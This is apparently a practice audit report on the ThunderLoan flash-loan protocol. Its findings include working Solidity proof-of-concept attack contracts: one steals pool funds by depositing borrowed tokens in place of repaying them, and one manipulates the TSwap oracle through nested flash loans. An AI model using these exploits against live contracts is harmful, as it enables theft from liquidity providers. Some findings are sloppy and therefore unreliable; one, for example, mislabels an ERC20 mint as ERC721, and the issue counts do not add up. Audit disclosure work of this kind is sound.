6-thunder-loan-audit report

Version 1.0

Audit

January 28, 2024

6-thunder-loan-audit report

Badal Sharma

january 28, 2024

Prepared by: Badal Sharma Lead Auditors: - Badal Sharma

Table of Contents

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

Disclaimer

The Badal Sharma makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

This code is audit by Badal Sharma.....

Issues found

Severty	No of issue found
High	4
Medium	2
Low	3
Info	10
Gas	3

Severty	No of issue found
Total	22

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchanfeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangerate` is responsible for keeping traxk of how many fees to give to loquidity providers.

However, the `deposit` funcion, updates this rate, without collecting any fees!

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

@>         uint256 calculatedFee = getCalculatedFee(token, amount);
@>         assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: There are serveral impacts to this bug.

1. The `redeem` function is blocked, becouse the protocol thinks the owed tokens is more than it has
2. Rewards are incorectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits

2. User takes out a flash loan
3. It is now impossible for LP to redeem.

Place this test in `ThunderLoanTest.t.sol` and run the test:

POC

```
 function testReedemAfterLoan() public setAllowedToken hasDeposits {
         uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        console.log("calculatedFee:", calculatedFee);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee); // fee
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();

        // liquidityProvider reedem extra amount
        // intial deposit = (100e18) 100.000000000000000000
        // fee = (3e17) 0.300000000000000000
        //initial deposit + fee = 100.300000000000000000, not = 1003.300900000000000000
        uint256 AmountToReedem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, AmountToReedem);
        vm.stopPrank();
    }
```

Recommended Mitigation: Removed the incorrectly updated exchange rate lines from `deposit`.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

-        uint256 calculatedFee = getCalculatedFee(token, amount);
-        assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[H-2] Mixing up variable location casuses storage collisions in `ThunderLoan::s_flashLoanfee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, btreks the storage locations as well.

Impact: After the upgrade, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot.

Proof of Concept:

POC

Paste the following into `ThunderLoanTest.t.sol`.

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/ThunderLoanUpgraded.sol";
.
.
.

    function testStorageCollision() public {
        uint256 feeBefore = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        vm.stopPrank();
        uint256 feeAfter = thunderLoan.getFee();

        console2.log("Fee before", feeBefore);
        console2.log("Fee after", feeAfter);

        assert(feeBefore != feeAfter);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a `constant`. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-3] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

Description: In `ThunderLoan` contract a user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled. However, after calling a flashLoan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` malicious users can steal all funds from the protocol.

Impact: A malicious user can steal all the funds from `ThunderLoan` contract.

Proof of Concept:

POC

Paste following code in `ThunderLoanTest.t.sol` and then run the test.

```
import { Test, console } from "forge-std/Test.sol";
import { ThunderLoanTest, ThunderLoan } from "../unit/ThunderLoanTest.t.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { ERC20Mock } from "../mocks/ERC20Mock.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/ThunderLoanUpgraded.sol";
import { BuffMockTSwap } from "../mocks/BuffMockTSwap.sol";
import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol";
import { BuffMockPoolFactory } from "../mocks/BuffMockPoolFactory.sol";
.
.
.
    function testUseDepositInstedOfRepayToStealFunds() public setAllowedToken hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
        tokenA.mint(address(dor), fee); // fee
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
        dor.redeemMoney();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
    }
```

```
contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) public {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(IERC20(s_token), amount);
    }
}
```

[H-4] Using TSwap as a price oracle leads to price and oracle manipulation attack

Description: The Tswap is a constant product formula based on the AMM(automated market maker). The price of the tokens determined by how many reserves are on ether side of the pool. Beacouse of this it’s easy for malecious users to manipulate price of the token by buying or selling a large amount of token in same transaction, essentially ignoring prototocal fees.

Impact: Liquidity providers will drastically reduce fees for providing liquidity.

Proof of Concept:

The following are happens in one transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do they following:
2. User sells `tokenA`, the user takes out another flash loan for another 1000 `tokenA`.
3. Due to the fact that the way`ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

1. The user then repays the first flash loan, and then repays the second flash loan.

POC

```
import { Test, console } from "forge-std/Test.sol";
import { ThunderLoanTest, ThunderLoan } from "../unit/ThunderLoanTest.t.sol";
import { ERC20Mock } from "../mocks/ERC20Mock.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/ThunderLoanUpgraded.sol";
import { BuffMockTSwap } from "../mocks/BuffMockTSwap.sol";
import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol";
import { BuffMockPoolFactory } from "../mocks/BuffMockPoolFactory.sol";
.
.
.
    function testCanManipuleOracleToIgnoreFees() public {
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");

        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        pf.createPool(address(tokenA));

        address tswapPool = pf.getPool(address(tokenA));

        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // Fund tswap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
        vm.stopPrank();

        // Set allow token
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        // Add liquidity to ThunderLoan
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
        tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
        vm.stopPrank();

        // TSwap has 100 WETH & 100 tokenA
        // ThunderLoan has 1,000 tokenA
        // If we borrow 50 tokenA -> swap it for WETH (tank the price) -> borrow another 50 tokenA (do something) ->
        // repay both
        // We pay drastically lower fees

        // here is how much we'd pay normally
        uint256 calculatedFeeNormal = thunderLoan.getCalculatedFee(tokenA, 100e18);

        uint256 amountToBorrow = 50e18; // 50 tokenA to borrow
        MaliciousFlashLoanReceiver flr =
        new MaliciousFlashLoanReceiver(address(tswapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA)));

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18); // mint our user 10 tokenA for the fees
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 calculatedFeeAttack = flr.feeOne() + flr.feeTwo();
        console.log("Normal fee: %s", calculatedFeeNormal);
        console.log("Attack fee: %s", calculatedFeeAttack);
        assert(calculatedFeeAttack < calculatedFeeNormal);
    }
```

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    bool attacked;
    BuffMockTSwap pool;
    ThunderLoan thunderLoan;
    address repayAddress;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address tswapPool, address _thunderLoan, address _repayAddress) {
        pool = BuffMockTSwap(tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /* initiator */
        bytes calldata /* params */
    )
        external
        returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 expected = pool.getOutputAmountBasedOnInput(50e18, 100e18);
            IERC20(token).approve(address(pool), 50e18);
            pool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, expected, block.timestamp);
            // we call a 2nd flash loan
            thunderLoan.flashloan(address(this), IERC20(token), amount, "");
            // Repay at the end
            // We can't repay back! Whoops!
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // IThunderLoan(address(thunderLoan)).repay(token, amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            feeTwo = fee;
            // We can't repay back! Whoops!
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // IThunderLoan(address(thunderLoan)).repay(token, amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }
        return true;
    }
}
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chalink price with a Uniswap TWAP fallback oracles.

Medium

[M-1] Centralization Risk for trusted owners

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
File: src/protocol/ThunderLoan.sol

223:     function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (AssetToken) {

261:     function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

Contralized owners can brick redemptions by disapproving of a specific token

[M-2] Using `ERC721::_mint()` can be dangerous

Using `ERC721::_mint()` can mint ERC721 tokens to addresses which don't support ERC721 tokens. Use `_safeMint()` instead of `_mint()` for ERC721.

- Found in src/protocol/AssetToken.sol

```
    function mint(address to, uint256 amount) external onlyThunderLoan {
        .
        .
        .
```

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
File: src/protocol/ThunderLoan.sol

261:     function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

138:     function initialize(address tswapAddress) external initializer {

138:     function initialize(address tswapAddress) external initializer {

139:         __Ownable_init();

140:         __UUPSUpgradeable_init();

141:         __Oracle_init(tswapAddress);
```

[L-3] Missing critial event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+    event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

Informational

[I-1] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in `src/protocol/OracleUpgradeable.sol`

  ```
      function __Oracle_init_unchained(address poolFactoryAddress) internal onlyInitializing {
  ```

- found in `AssetToken::constructor`
- found in `OracleUpgradeable::__Oracle_init`

[I-2] Functions not used internally could be marked external

- Found in `ThunderLoan::getFeePrecision`
- Found in `ThunderLoan::getFee`
- Found in `ThunderLoan::isCurrentlyFlashLoaning`

[I-3] Constants should be defined and used instead of literals

- Found in src/protocol/ThunderLoan.sol Line: 153

```
            s_feePrecision = 1e18;
```

- Found in src/protocol/ThunderLoan.sol Line: 154

```
            s_flashLoanFee = 3e15; // 0.3% ETH fee
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 148

```
            s_flashLoanFee = 3e15; // 0.3% ETH fee
```

[I-4] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/protocol/AssetToken.sol Line: 31

```
        event ExchangeRateUpdated(uint256 newExchangeRate);
```

- Found in src/protocol/ThunderLoan.sol Line: 112

```
        event Deposit(address indexed account, IERC20 indexed token,
            uint256 amount);
```

- Found in src/protocol/ThunderLoan.sol Line: 113

```
        event AllowedTokenSet(IERC20 indexed token, AssetToken indexed
             asset, bool allowed);
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 106

```
        event Deposit(address indexed account, IERC20 indexed token,
            uint256 amount);
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 107

```
        event AllowedTokenSet(IERC20 indexed token, AssetToken indexed
             asset, bool allowed);
```

[I-5] Unused Error message

- found in `ThunderLoan.sol`

```
-     error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

- found in ThunderLoanUpgraded

```
-     error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

[I-6] Should be provide netspec

- found in ThunderLoan::deposit
- found in ThunderLoan::flashloan
- found in ThunderLoan::setAllowedToken
- found in ThunderLoan::getCalculatedFee

[I-7] Missing event for critical update flash loan fee parameters.

- found in ThunderLoan::updateFlashLoanFee

[I-8] Change name tswapAddress to poolFactoryAddress

- found in ThunderLoan::initialize
- found in ThunderLoanUpgraded::initialize

[I-9] Unused import file

- found in IFlashLoanReceiver.sol

```
- import { IThunderLoan } from "./IThunderLoan.sol";
```

[I-10] Poor test coverage

```
Running tests...
| File                               | % Lines        | % Statements
   | % Branches    | % Funcs        |
| ---------------------------------- | -------------- | --------------
   | ------------- | -------------- |
| src/protocol/AssetToken.sol        | 70.00% (7/10)  | 76.92% (10/13)
   | 50.00% (1/2)  | 66.67% (4/6)   |
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)  | 100.00% (9/9)
   | 100.00% (0/0) | 80.00% (4/5)   |
| src/protocol/ThunderLoan.sol        | 64.52% (40/62) | 68.35% (54/79) | 37.50% (6/16) | 71.43% (10/14) |
```

Gas

[GAS-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning;
```

[GAS-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

[GAS-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```diff
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```